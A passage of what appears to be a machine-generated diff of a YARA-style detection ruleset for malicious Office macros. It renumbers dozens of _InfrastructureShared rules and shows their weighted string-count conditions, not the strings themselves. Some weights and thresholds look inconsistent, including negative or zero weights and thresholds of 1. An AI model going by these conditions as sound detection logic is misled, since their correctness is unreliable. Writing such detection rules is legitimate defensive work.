"!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -317214,7 +333748,7 @@ rule _InfrastructureShared_24326{ ((#a_53_0 & 1)*19747+(#a_79_1 & 1)*10272+(#a_6e_2 & 1)*19488+(#a_63_3 & 1)*18722) >=1 } -rule _InfrastructureShared_24327{ +rule _InfrastructureShared_25616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -317226,7 +333760,7 @@ rule _InfrastructureShared_24327{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*14957+(#a_78_2 & 1)*11374) >=3 } -rule _InfrastructureShared_24328{ +rule _InfrastructureShared_25617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317240,7 +333774,7 @@ rule _InfrastructureShared_24328{ ((#a_6c_0 & 1)*16675+(#a_61_1 & 1)*26986+(#a_63_2 & 1)*27247+(#a_6c_3 & 1)*8235+(#a_69_4 & 1)*278) >=5 } -rule _InfrastructureShared_24329{ +rule _InfrastructureShared_25618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -317258,7 +333792,7 @@ rule _InfrastructureShared_24329{ ((#a_6c_0 & 1)*16675+(#a_30_1 & 1)*12576+(#a_74_2 & 1)*26473+(#a_61_3 & 1)*29250+(#a_66_4 & 1)*20282+(#a_73_5 & 1)*29472+(#a_29_6 & 1)*14376+(#a_37_7 & 1)*12584+(#a_37_8 & 1)*12584) >=9 } -rule _InfrastructureShared_24330{ +rule _InfrastructureShared_25619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -317270,7 +333804,7 @@ rule _InfrastructureShared_24330{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*25715+(#a_64_2 & 1)*8230) >=3 } -rule _InfrastructureShared_24331{ +rule _InfrastructureShared_25620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -317283,7 +333817,7 @@ rule _InfrastructureShared_24331{ ((#a_53_0 & 1)*19747+(#a_55_1 & 1)*28221+(#a_6a_2 & 1)*21811+(#a_4e_3 & 1)*27202) >=4 } -rule _InfrastructureShared_24332{ +rule _InfrastructureShared_25621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 07 00 21 " @@ -317299,7 +333833,7 @@ rule _InfrastructureShared_24332{ ((#a_6c_0 & 1)*16675+(#a_6c_1 & 1)*25464+(#a_50_2 & 1)*25458+(#a_61_3 & 1)*25459+(#a_29_4 & 1)*10281+(#a_28_5 & 1)*19063+(#a_28_6 & 1)*18994) >=4 } -rule _InfrastructureShared_24333{ +rule _InfrastructureShared_25622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317313,7 +333847,7 @@ rule _InfrastructureShared_24333{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*8736+(#a_32_2 & 1)*13096+(#a_33_3 & 1)*10570+(#a_65_4 & 1)*24940) >=5 } -rule _InfrastructureShared_24334{ +rule _InfrastructureShared_25623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -317328,7 +333862,7 @@ rule _InfrastructureShared_24334{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28271+(#a_28_2 & 1)*26992+(#a_63_3 & 1)*25601+(#a_22_4 & 1)*9760+(#a_00_5 & 1)*7) >=6 } -rule _InfrastructureShared_24335{ +rule _InfrastructureShared_25624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317344,7 +333878,7 @@ rule _InfrastructureShared_24335{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_43_2 & 1)*11011+(#a_90_3 & 1)*10272+(#a_75_4 & 1)*2+(#a_43_5 & 1)*25959+(#a_65_6 & 1)*28511) >=7 } -rule _InfrastructureShared_24336{ +rule _InfrastructureShared_25625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -317361,7 +333895,7 @@ rule _InfrastructureShared_24336{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*20256+(#a_63_2 & 1)*30022+(#a_2d_3 & 1)*8194+(#a_02_4 & 1)*10272+(#a_74_5 & 1)*29474+(#a_6a_6 & 1)*-26112+(#a_6d_7 & 1)*25649) >=8 } -rule _InfrastructureShared_24337{ +rule _InfrastructureShared_25626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -317372,7 +333906,7 @@ rule _InfrastructureShared_24337{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*25459) >=2 } -rule _InfrastructureShared_24338{ +rule _InfrastructureShared_25627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 08 00 21 " @@ -317389,7 +333923,7 @@ rule _InfrastructureShared_24338{ ((#a_6c_0 & 1)*16675+(#a_3a_1 & 1)*8736+(#a_70_2 & 1)*298+(#a_6d_3 & 1)*26716+(#a_74_4 & 1)*27760+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=7 } -rule _InfrastructureShared_24339{ +rule _InfrastructureShared_25628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -317404,7 +333938,7 @@ rule _InfrastructureShared_24339{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*23586+(#a_65_2 & 1)*11825+(#a_68_3 & 1)*24948+(#a_54_4 & 1)*8538+(#a_40_5 & 1)*-28571) >=6 } -rule _InfrastructureShared_24340{ +rule _InfrastructureShared_25629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -317421,7 +333955,7 @@ rule _InfrastructureShared_24340{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2b_2 & 1)*5376+(#a_02_3 & 1)*10276+(#a_70_4 & 1)*8253+(#a_20_5 & 1)*28229+(#a_41_6 & 1)*27758+(#a_75_7 & 1)*14450) >=8 } -rule _InfrastructureShared_24341{ +rule _InfrastructureShared_25630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -317434,7 +333968,7 @@ rule _InfrastructureShared_24341{ ((#a_53_0 & 1)*19747+(#a_44_1 & 1)*11817+(#a_29_2 & 1)*31060+(#a_64_3 & 1)*28524) >=1 } -rule _InfrastructureShared_24342{ +rule _InfrastructureShared_25631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -317450,7 +333984,7 @@ rule _InfrastructureShared_24342{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*25965+(#a_64_2 & 1)*28520+(#a_52_3 & 1)*12142+(#a_65_4 & 1)*8293+(#a_90_5 & 1)*16386+(#a_02_6 & 1)*27968) >=1 } -rule _InfrastructureShared_24343{ +rule _InfrastructureShared_25632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -317462,7 +333996,7 @@ rule _InfrastructureShared_24343{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_53_3 & 1)*-30976) >=4 } -rule _InfrastructureShared_24344{ +rule _InfrastructureShared_25633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -317478,7 +334012,7 @@ rule _InfrastructureShared_24344{ ((#a_53_0 & 1)*19747+(#a_4c_1 & 1)*8253+(#a_20_2 & 1)*-28638+(#a_02_3 & 1)*26912+(#a_20_5 & 1)*28229+(#a_41_6 & 1)*25455+(#a_26_7 & 1)*8777) >=8 } -rule _InfrastructureShared_24345{ +rule _InfrastructureShared_25634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -317491,7 +334025,7 @@ rule _InfrastructureShared_24345{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*10280+(#a_74_2 & 1)*28277+(#a_90_3 & 1)*29556) >=4 } -rule _InfrastructureShared_24346{ +rule _InfrastructureShared_25635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317505,7 +334039,7 @@ rule _InfrastructureShared_24346{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*26478+(#a_90_2 & 1)*28009+(#a_72_3 & 1)*24946+(#a_69_4 & 1)*25454) >=5 } -rule _InfrastructureShared_24347{ +rule _InfrastructureShared_25636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -317524,7 +334058,7 @@ rule _InfrastructureShared_24347{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*28265+(#a_00_2 & 1)*29816+(#a_00_3 & 1)*1+(#a_54_4 & 1)*18509+(#a_90_5 & 1)*26912+(#a_46_6 & 1)*25710+(#a_72_7 & 1)*8302+(#a_00_8 & 1)*144+(#a_53_9 & 1)*15619) >=10 } -rule _InfrastructureShared_24348{ +rule _InfrastructureShared_25637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -317539,7 +334073,7 @@ rule _InfrastructureShared_24348{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_90_2 & 1)*28271+(#a_20_3 & 1)*17429+(#a_00_4 & 1)*1+(#a_41_5 & 1)*14930) >=6 } -rule _InfrastructureShared_24349{ +rule _InfrastructureShared_25638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -317554,7 +334088,7 @@ rule _InfrastructureShared_24349{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*1029+(#a_20_2 & 1)*1285+(#a_22_3 & 1)*1029+(#a_26_4 & 1)*8803+(#a_05_5 & 1)*11814) >=1 } -rule _InfrastructureShared_24350{ +rule _InfrastructureShared_25639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 18 00 21 " @@ -317586,7 +334120,7 @@ rule _InfrastructureShared_24350{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*16751+(#a_74_2 & 1)*26211+(#a_74_3 & 1)*28523+(#a_29_4 & 1)*24948+(#a_68_5 & 1)*30580+(#a_70_6 & 1)*15657+(#a_64_7 & 1)*28769+(#a_70_8 & 1)*15720+(#a_28_9 & 1)*26723+(#a_6e_10 & 1)*26740+(#a_2b_11 & 1)*21760+(#a_75_12 & 1)*17725+(#a_45_13 & 1)*14909+(#a_3d_15 & 1)*8235+(#a_63_16 & 1)*15731+(#a_20_17 & 1)*10528+(#a_90_18 & 1)*30821+(#a_43_19 & 1)*10545+(#a_52_20 & 1)*18499+(#a_24_21 & 1)*25699+(#a_28_22 & 1)*7168+(#a_42_23 & 1)*11639) >=1 } -rule _InfrastructureShared_24351{ +rule _InfrastructureShared_25640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317600,7 +334134,7 @@ rule _InfrastructureShared_24351{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*10544+(#a_2e_2 & 1)*28777+(#a_74_3 & 1)*26402+(#a_02_4 & 1)*10359) >=5 } -rule _InfrastructureShared_24352{ +rule _InfrastructureShared_25641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317614,7 +334148,7 @@ rule _InfrastructureShared_24352{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*24944+(#a_2e_2 & 1)*29294+(#a_65_3 & 1)*11884+(#a_75_4 & 1)*17725) >=5 } -rule _InfrastructureShared_24353{ +rule _InfrastructureShared_25642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -317629,7 +334163,7 @@ rule _InfrastructureShared_24353{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*19783+(#a_47_2 & 1)*25413+(#a_70_3 & 1)*17198+(#a_00_4 & 1)*11+(#a_77_5 & 1)*17518) >=6 } -rule _InfrastructureShared_24354{ +rule _InfrastructureShared_25643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -317649,7 +334183,7 @@ rule _InfrastructureShared_24354{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*27756+(#a_58_2 & 1)*15617+(#a_43_3 & 1)*10548+(#a_73_4 & 1)*29555+(#a_26_5 & 1)*4096+(#a_34_6 & 1)*21057+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_24355{ +rule _InfrastructureShared_25644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317665,7 +334199,7 @@ rule _InfrastructureShared_24355{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*302+(#a_20_2 & 1)*8226+(#a_45_3 & 1)*25968+(#a_22_4 & 1)*29537+(#a_23_5 & 1)*9+(#a_20_6 & 1)*-28561) >=7 } -rule _InfrastructureShared_24356{ +rule _InfrastructureShared_25645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -317682,7 +334216,7 @@ rule _InfrastructureShared_24356{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*656+(#a_20_2 & 1)*-28553+(#a_90_3 & 1)*28192+(#a_2e_5 & 1)*10752+(#a_64_6 & 1)*26999+(#a_20_7 & 1)*28021+(#a_65_8 & 1)*8744) >=9 } -rule _InfrastructureShared_24357{ +rule _InfrastructureShared_25646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317697,7 +334231,7 @@ rule _InfrastructureShared_24357{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*26998+(#a_7a_2 & 1)*20079+(#a_67_4 & 1)*24914+(#a_46_5 & 1)*28277+(#a_61_6 & 1)*8736) >=7 } -rule _InfrastructureShared_24358{ +rule _InfrastructureShared_25647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 07 00 21 " @@ -317712,7 +334246,7 @@ rule _InfrastructureShared_24358{ ((#a_53_0 & 1)*19747+(#a_22_2 & 1)*15617+(#a_4e_3 & 1)*25964+(#a_28_4 & 1)*29795+(#a_6c_5 & 1)*28737+(#a_53_6 & 1)*12288) >=4 } -rule _InfrastructureShared_24359{ +rule _InfrastructureShared_25648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -317727,7 +334261,7 @@ rule _InfrastructureShared_24359{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*21282+(#a_29_2 & 1)*13172+(#a_65_3 & 1)*23598+(#a_65_4 & 1)*21282+(#a_65_5 & 1)*8250) >=1 } -rule _InfrastructureShared_24360{ +rule _InfrastructureShared_25649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -317739,7 +334273,7 @@ rule _InfrastructureShared_24360{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*11365+(#a_2b_2 & 1)*8194) >=3 } -rule _InfrastructureShared_24361{ +rule _InfrastructureShared_25650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -317755,7 +334289,7 @@ rule _InfrastructureShared_24361{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*28265+(#a_20_2 & 1)*28530+(#a_72_3 & 1)*8253+(#a_20_4 & 1)*18723+(#a_6e_5 & 1)*27491+(#a_6e_7 & 1)*28525) >=8 } -rule _InfrastructureShared_24362{ +rule _InfrastructureShared_25651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317771,7 +334305,7 @@ rule _InfrastructureShared_24362{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*25120+(#a_28_2 & 1)*29797+(#a_22_3 & 1)*28277+(#a_3d_4 & 1)*12338+(#a_2e_5 & 1)*25972+(#a_72_6 & 1)*8302) >=7 } -rule _InfrastructureShared_24363{ +rule _InfrastructureShared_25652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317787,7 +334321,7 @@ rule _InfrastructureShared_24363{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*8293+(#a_72_2 & 1)*29779+(#a_65_3 & 1)*8194+(#a_02_4 & 1)*10272+(#a_32_5 & 1)*27240+(#a_6f_6 & 1)*27240) >=7 } -rule _InfrastructureShared_24364{ +rule _InfrastructureShared_25653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -317800,7 +334334,7 @@ rule _InfrastructureShared_24364{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*12921+(#a_2c_2 & 1)*12921+(#a_79_3 & 1)*26676) >=4 } -rule _InfrastructureShared_24365{ +rule _InfrastructureShared_25654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317814,7 +334348,7 @@ rule _InfrastructureShared_24365{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*26222+(#a_42_2 & 1)*8230+(#a_26_3 & 1)*8796+(#a_70_4 & 1)*29768) >=5 } -rule _InfrastructureShared_24366{ +rule _InfrastructureShared_25655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -317827,7 +334361,7 @@ rule _InfrastructureShared_24366{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*11365+(#a_3a_2 & 1)*8236+(#a_2c_3 & 1)*29984) >=4 } -rule _InfrastructureShared_24367{ +rule _InfrastructureShared_25656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317841,7 +334375,7 @@ rule _InfrastructureShared_24367{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*23849+(#a_77_2 & 1)*23849+(#a_65_3 & 1)*30067+(#a_6f_4 & 1)*26483) >=5 } -rule _InfrastructureShared_24368{ +rule _InfrastructureShared_25657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317856,7 +334390,7 @@ rule _InfrastructureShared_24368{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*25964+(#a_78_2 & 1)*25968+(#a_53_4 & 1)*8253+(#a_00_5 & 1)*8805+(#a_72_6 & 1)*17923) >=7 } -rule _InfrastructureShared_24369{ +rule _InfrastructureShared_25658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -317874,7 +334408,7 @@ rule _InfrastructureShared_24369{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*29813+(#a_61_2 & 1)*10355+(#a_20_3 & 1)*272+(#a_22_4 & 1)*8819+(#a_4d_6 & 1)*8448+(#a_28_7 & 1)*29811+(#a_90_8 & 1)*10261+(#a_90_9 & 1)*10341) >=10 } -rule _InfrastructureShared_24370{ +rule _InfrastructureShared_25659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -317886,7 +334420,7 @@ rule _InfrastructureShared_24370{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*28490+(#a_74_2 & 1)*25972) >=3 } -rule _InfrastructureShared_24371{ +rule _InfrastructureShared_25660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -317901,7 +334435,7 @@ rule _InfrastructureShared_24371{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*11040+(#a_29_2 & 1)*656+(#a_65_3 & 1)*25185+(#a_74_4 & 1)*25934+(#a_20_5 & 1)*28486) >=6 } -rule _InfrastructureShared_24372{ +rule _InfrastructureShared_25661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317917,7 +334451,7 @@ rule _InfrastructureShared_24372{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*656+(#a_90_2 & 1)*4098+(#a_3d_3 & 1)*800+(#a_64_4 & 1)*17667+(#a_02_5 & 1)*8235+(#a_63_6 & 1)*29812) >=7 } -rule _InfrastructureShared_24373{ +rule _InfrastructureShared_25662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -317932,7 +334466,7 @@ rule _InfrastructureShared_24373{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*29806+(#a_20_2 & 1)*26740+(#a_00_3 & 1)*25955+(#a_87_4 & 1)*0+(#a_65_5 & 1)*17710) >=6 } -rule _InfrastructureShared_24374{ +rule _InfrastructureShared_25663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317948,7 +334482,7 @@ rule _InfrastructureShared_24374{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*8224+(#a_20_2 & 1)*8236+(#a_65_3 & 1)*298+(#a_53_4 & 1)*11264+(#a_62_5 & 1)*29295+(#a_2e_6 & 1)*25972) >=7 } -rule _InfrastructureShared_24375{ +rule _InfrastructureShared_25664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317962,7 +334496,7 @@ rule _InfrastructureShared_24375{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*20073+(#a_6a_2 & 1)*21821+(#a_2b_3 & 1)*8765+(#a_3d_4 & 1)*20073) >=5 } -rule _InfrastructureShared_24376{ +rule _InfrastructureShared_25665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317976,7 +334510,7 @@ rule _InfrastructureShared_24376{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*10546+(#a_00_2 & 1)*144+(#a_20_3 & 1)*8195+(#a_22_4 & 1)*656) >=5 } -rule _InfrastructureShared_24377{ +rule _InfrastructureShared_25666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -317996,7 +334530,7 @@ rule _InfrastructureShared_24377{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*25972+(#a_2b_2 & 1)*6144+(#a_28_3 & 1)*26994+(#a_42_4 & 1)*28257+(#a_4f_5 & 1)*29285+(#a_20_6 & 1)*656+(#a_00_7 & 1)*144+(#a_55_8 & 1)*15619+(#a_65_9 & 1)*30051+(#a_90_10 & 1)*29801) >=11 } -rule _InfrastructureShared_24378{ +rule _InfrastructureShared_25667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -318012,7 +334546,7 @@ rule _InfrastructureShared_24378{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*3216+(#a_02_2 & 1)*8301+(#a_4f_3 & 1)*22351+(#a_41_4 & 1)*29813+(#a_75_5 & 1)*8292+(#a_48_6 & 1)*29984) >=7 } -rule _InfrastructureShared_24379{ +rule _InfrastructureShared_25668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -318026,7 +334560,7 @@ rule _InfrastructureShared_24379{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*18510+(#a_48_2 & 1)*29984+(#a_20_3 & 1)*18510+(#a_48_4 & 1)*8993) >=5 } -rule _InfrastructureShared_24380{ +rule _InfrastructureShared_25669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318042,7 +334576,7 @@ rule _InfrastructureShared_24380{ ((#a_53_0 & 1)*19747+(#a_78_1 & 1)*8224+(#a_4c_2 & 1)*30240+(#a_28_3 & 1)*27753+(#a_76_4 & 1)*11040+(#a_54_6 & 1)*18509+(#a_74_7 & 1)*28704) >=8 } -rule _InfrastructureShared_24381{ +rule _InfrastructureShared_25670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318059,7 +334593,7 @@ rule _InfrastructureShared_24381{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*29813+(#a_22_2 & 1)*25964+(#a_3d_3 & 1)*26483+(#a_00_4 & 1)*29251+(#a_67_5 & 1)*27905+(#a_72_6 & 1)*25206+(#a_00_7 & 1)*144) >=8 } -rule _InfrastructureShared_24382{ +rule _InfrastructureShared_25671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -318078,7 +334612,7 @@ rule _InfrastructureShared_24382{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*28265+(#a_00_2 & 1)*29816+(#a_65_3 & 1)*24912+(#a_3a_4 & 1)*8234+(#a_78_5 & 1)*29548+(#a_72_6 & 1)*17184+(#a_65_7 & 1)*11817+(#a_22_8 & 1)*9760+(#a_00_9 & 1)*7) >=10 } -rule _InfrastructureShared_24383{ +rule _InfrastructureShared_25672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318091,7 +334625,7 @@ rule _InfrastructureShared_24383{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8308+(#a_65_2 & 1)*21294+(#a_22_3 & 1)*8744) >=4 } -rule _InfrastructureShared_24384{ +rule _InfrastructureShared_25673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -318107,7 +334641,7 @@ rule _InfrastructureShared_24384{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*817+(#a_75_2 & 1)*818+(#a_74_3 & 1)*25927+(#a_65_4 & 1)*30051+(#a_90_5 & 1)*8736+(#a_02_6 & 1)*13088) >=7 } -rule _InfrastructureShared_24385{ +rule _InfrastructureShared_25674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318124,7 +334658,7 @@ rule _InfrastructureShared_24385{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*30825+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1) >=8 } -rule _InfrastructureShared_24386{ +rule _InfrastructureShared_25675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318137,7 +334671,7 @@ rule _InfrastructureShared_24386{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28192+(#a_20_2 & 1)*8302+(#a_20_3 & 1)*8307) >=4 } -rule _InfrastructureShared_24387{ +rule _InfrastructureShared_25676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -318150,7 +334684,7 @@ rule _InfrastructureShared_24387{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*25153+(#a_45_2 & 1)*16691+(#a_71_3 & 1)*27756) >=2 } -rule _InfrastructureShared_24388{ +rule _InfrastructureShared_25677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -318164,7 +334698,7 @@ rule _InfrastructureShared_24388{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*10272+(#a_61_2 & 1)*24936+(#a_69_4 & 1)*25454+(#a_63_5 & 1)*27234) >=6 } -rule _InfrastructureShared_24389{ +rule _InfrastructureShared_25678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -318176,7 +334710,7 @@ rule _InfrastructureShared_24389{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25960+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_24390{ +rule _InfrastructureShared_25679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318189,7 +334723,7 @@ rule _InfrastructureShared_24390{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*11314+(#a_3b_2 & 1)*8241+(#a_6d_3 & 1)*11314) >=4 } -rule _InfrastructureShared_24391{ +rule _InfrastructureShared_25680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ 